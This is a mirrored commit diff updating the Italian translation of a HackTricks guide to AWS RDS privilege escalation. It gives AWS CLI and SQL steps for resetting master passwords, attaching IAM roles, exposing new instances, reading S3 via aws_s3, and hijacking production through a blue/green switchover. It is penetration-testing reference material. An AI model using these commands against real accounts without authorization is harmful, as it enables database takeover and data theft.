gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 22:51:09 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

Browse Source
This commit is contained in:
Translator
2026-01-13 13:29:46 +00:00
parent 0a0db45e4e
commit 72d9ade515
1 changed files with 47 additions and 27 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md
+47 -27
View File
@@ -2,9 +2,9 @@
{{#include ../../../../banners/hacktricks-training.md}}
## RDS - Servizio di database relazionale
## RDS - Servizio di Database Relazionale
Per ulteriori informazioni su RDS consulta:
Per maggiori informazioni su RDS consulta:
{{#ref}}
../../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@ Per ulteriori informazioni su RDS consulta:
### `rds:ModifyDBInstance`
Con tale permesso un attaccante può **modificare la password dell'utente master**, e il login all'interno del database:
Con quel permesso un attacker può **modificare la password dell'utente master**, e il login all'interno del database:
```bash
# Get the DB username, db name and address
aws rds describe-db-instances
@@ -27,28 +27,28 @@ aws rds modify-db-instance \
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
```
> [!WARNING]
> Dovrai essere in grado di **contattare il database** (di solito sono accessibili solo dall'interno delle reti).
> Dovrai essere in grado di **contattare il database** (sono di solito accessibili solo dall'interno delle reti).
**Potenziale Impatto:** Trovare informazioni sensibili all'interno dei database.
**Impatto potenziale:** Trovare informazioni sensibili all'interno dei database.
### rds-db:connect
According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance.
Secondo la [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) un utente con questo permesso potrebbe connettersi all'istanza DB.
### Abusare dei permessi IAM del ruolo RDS
### Abuse RDS Role IAM permissions
#### Postgresql (Aurora)
> [!TIP]
> Se eseguendo **`SELECT datname FROM pg_database;`** trovi un database chiamato **`rdsadmin`** sai di essere all'interno di un database **AWS postgresql**.
> Se eseguendo **`SELECT datname FROM pg_database;`** trovi un database chiamato **`rdsadmin`**, sai di essere all'interno di un database **AWS postgresql**.
Per prima cosa puoi verificare se questo database è stato usato per accedere ad altri servizi AWS. Puoi verificarlo osservando le estensioni installate:
Per prima cosa puoi verificare se questo database è stato usato per accedere ad altri servizi AWS. Puoi controllare questo guardando le estensioni installate:
```sql
SELECT * FROM pg_extension;
```
Se trovi qualcosa come **`aws_s3`** puoi assumere che questo database abbia **qualche tipo di accesso a S3** (ci sono altre estensioni come **`aws_ml`** e **`aws_lambda`**).
Se trovi qualcosa come **`aws_s3`** puoi assumere che questo database abbia **un qualche tipo di accesso a S3** (ci sono altre estensioni come **`aws_ml`** e **`aws_lambda`**).
Inoltre, se hai i permessi per eseguire **`aws rds describe-db-clusters`** puoi verificare lì se il **cluster ha qualche IAM Role associato** nel campo **`AssociatedRoles`**. Se presente, puoi presumere che il database sia stato **preparato per accedere ad altri servizi AWS**. In base al **nome del ruolo** (o se riesci ad ottenere i **permessi** del ruolo) potresti **indovinare** quali accessi aggiuntivi ha il database.
Inoltre, se hai i permessi per eseguire **`aws rds describe-db-clusters`** puoi vedere lì se il **cluster ha qualche IAM Role associato** nel campo **`AssociatedRoles`**. Se presente, puoi presumere che il database sia stato **preparato per accedere ad altri servizi AWS**. In base al **nome del role** (o se riesci a ottenere i **permessi** del role) potresti **indovinare** quale accesso aggiuntivo possiede il database.
Ora, per **leggere un file all'interno di un bucket** devi conoscere il percorso completo. Puoi leggerlo con:
```sql
@@ -71,7 +71,7 @@ SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
```
Se disponessi di **raw AWS credentials** potresti anche usarle per accedere ai dati S3 con:
Se avessi **raw AWS credentials** potresti anche usarle per accedere ai dati S3 con:
```sql
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
@@ -80,16 +80,16 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
```
> [!NOTE]
> Postgresql **non ha bisogno di cambiare alcuna variabile del parameter group** per poter accedere a S3.
> Postgresql **non deve modificare alcuna variabile del gruppo di parametri** per poter accedere a S3.
#### Mysql (Aurora)
> [!TIP]
> All'interno di un mysql, se esegui la query **`SELECT User, Host FROM mysql.user;`** e c'è un utente chiamato **`rdsadmin`**, puoi assumere di essere dentro un **AWS RDS mysql db**.
> All'interno di un mysql, se esegui la query **`SELECT User, Host FROM mysql.user;`** e c'è un utente chiamato **`rdsadmin`**, puoi assumere di trovarti in un **AWS RDS mysql db**.
All'interno del mysql esegui **`show variables;`** e se variabili come **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, hanno dei valori, puoi assumere che il database sia preparato per accedere ai dati su S3.
All'interno del mysql esegui **`show variables;`** e se variabili come **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, hanno dei valori, puoi assumere che il database sia predisposto per accedere ai dati in S3.
Inoltre, se hai i permessi per eseguire **`aws rds describe-db-clusters`** puoi verificare se il cluster ha un **ruolo associato**, il che di solito significa accesso ai servizi AWS).
Inoltre, se hai i permessi per eseguire **`aws rds describe-db-clusters`** puoi verificare se il cluster ha un **ruolo associato**, il che solitamente significa accesso ai servizi AWS).
Ora, per **leggere un file all'interno di un bucket** devi conoscere il percorso completo. Puoi leggerlo con:
```sql
@@ -100,16 +100,16 @@ DROP TABLE ttemp;
```
### `rds:AddRoleToDBCluster`, `iam:PassRole`
Un attacker con i permessi `rds:AddRoleToDBCluster` e `iam:PassRole` può **aggiungere un ruolo specificato a un'istanza RDS esistente**. Questo potrebbe permettere all'attacker di **accedere a dati sensibili** o di modificare i dati all'interno dell'istanza.
Un attacker con i permessi `rds:AddRoleToDBCluster` e `iam:PassRole` può **aggiungere un ruolo specificato a un'istanza RDS esistente**. Questo potrebbe permettere all'attacker di **accedere a dati sensibili** o di modificare i dati contenuti nell'istanza.
```bash
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
```
**Impatto potenziale**: Accesso a dati sensibili o modifiche non autorizzate ai dati nell'istanza RDS.\
Nota che alcuni DBs richiedono configurazioni aggiuntive come Mysql, che necessita anche di specificare il role ARN nei parameter groups.
Nota che alcuni DBs richiedono configurazioni aggiuntive come Mysql, che necessita anche di specificare il role ARN negli aprameter groups.
### `rds:CreateDBInstance`
Solo con questa autorizzazione un attacker potrebbe creare una **nuova istanza all'interno di un cluster** che già esiste e ha un **IAM role** associato. Non sarà in grado di cambiare la master user password, ma potrebbe essere in grado di esporre la nuova istanza di database su Internet:
Solo con questo permesso un attacker potrebbe creare una **nuova istanza all'interno di un cluster** che già esiste e ha una **IAM role** allegata. Non sarà in grado di cambiare la password dell'utente master, ma potrebbe essere in grado di esporre la nuova istanza di database su Internet:
```bash
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
@@ -122,16 +122,16 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \
### `rds:CreateDBInstance`, `iam:PassRole`
> [!NOTE]
> TODO: Da testare
> DA FARE: Testare
Un attaccante con i permessi `rds:CreateDBInstance` e `iam:PassRole` può **creare una nuova istanza RDS con un ruolo specificato allegato**. L'attaccante può poi potenzialmente **accedere a dati sensibili** o modificare i dati all'interno dell'istanza.
Un attaccante con le autorizzazioni `rds:CreateDBInstance` e `iam:PassRole` può **creare una nuova istanza RDS con un role specificato associato**. L'attaccante può poi potenzialmente **accedere a dati sensibili** o modificare i dati all'interno dell'istanza.
> [!WARNING]
> Alcuni requisiti del role/instance-profile da allegare (da [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
> Alcuni requisiti del role/instance-profile da associare (da [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
> - The profile must exist in your account.
> - The profile must have an IAM role that Amazon EC2 has permissions to assume.
> - The instance profile name and the associated IAM role name must start with the prefix `AWSRDSCustom` .
> - L'instance profile deve esistere nel tuo account.
> - L'instance profile deve avere un IAM role che Amazon EC2 è autorizzato ad assumere.
> - Il nome dell'instance profile e il nome dell'IAM role associato devono iniziare con il prefisso `AWSRDSCustom`.
```bash
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
```
@@ -139,13 +139,33 @@ aws rds create-db-instance --db-instance-identifier malicious-instance --db-inst
### `rds:AddRoleToDBInstance`, `iam:PassRole`
Un attaccante con i permessi `rds:AddRoleToDBInstance` e `iam:PassRole` può **aggiungere un ruolo specificato a un'istanza RDS esistente**. Questo potrebbe permettere all'attaccante di **accedere a dati sensibili** o modificare i dati all'interno dell'istanza.
Un attaccante con i permessi `rds:AddRoleToDBInstance` e `iam:PassRole` può **aggiungere un ruolo specificato a un'istanza RDS esistente**. Questo potrebbe consentire all'attaccante di **accedere a dati sensibili** o modificare i dati all'interno dell'istanza.
> [!WARNING]
> L'istanza DB deve essere al di fuori di un cluster per questo
> L'istanza DB deve essere al di fuori di un cluster perché ciò funzioni
```bash
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
```
**Impatto potenziale**: Accesso a dati sensibili o modifiche non autorizzate ai dati nell'istanza RDS.
### `rds:CreateBlueGreenDeployment`, `rds:AddRoleToDBCluster`, `iam:PassRole`, `rds:SwitchoverBlueGreenDeployment`
Un attaccante con queste autorizzazioni può clonare un database di produzione (Blue), allegare al clone un ruolo IAM con privilegi elevati (Green) e poi usare lo switchover per sostituire l'ambiente di produzione. Questo permette all'attaccante di elevare i privilegi del database e ottenere accesso non autorizzato ad altre risorse AWS.
```bash
# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>
# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>
# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>
```
**Impatto potenziale**: Controllo completo dell'ambiente di database di produzione. Dopo lo switchover, il database opera con privilegi elevati, consentendo accesso non autorizzato ad altri servizi AWS (es., S3, Lambda, Secrets Manager) dall'interno del database.
{{#include ../../../../banners/hacktricks-training.md}}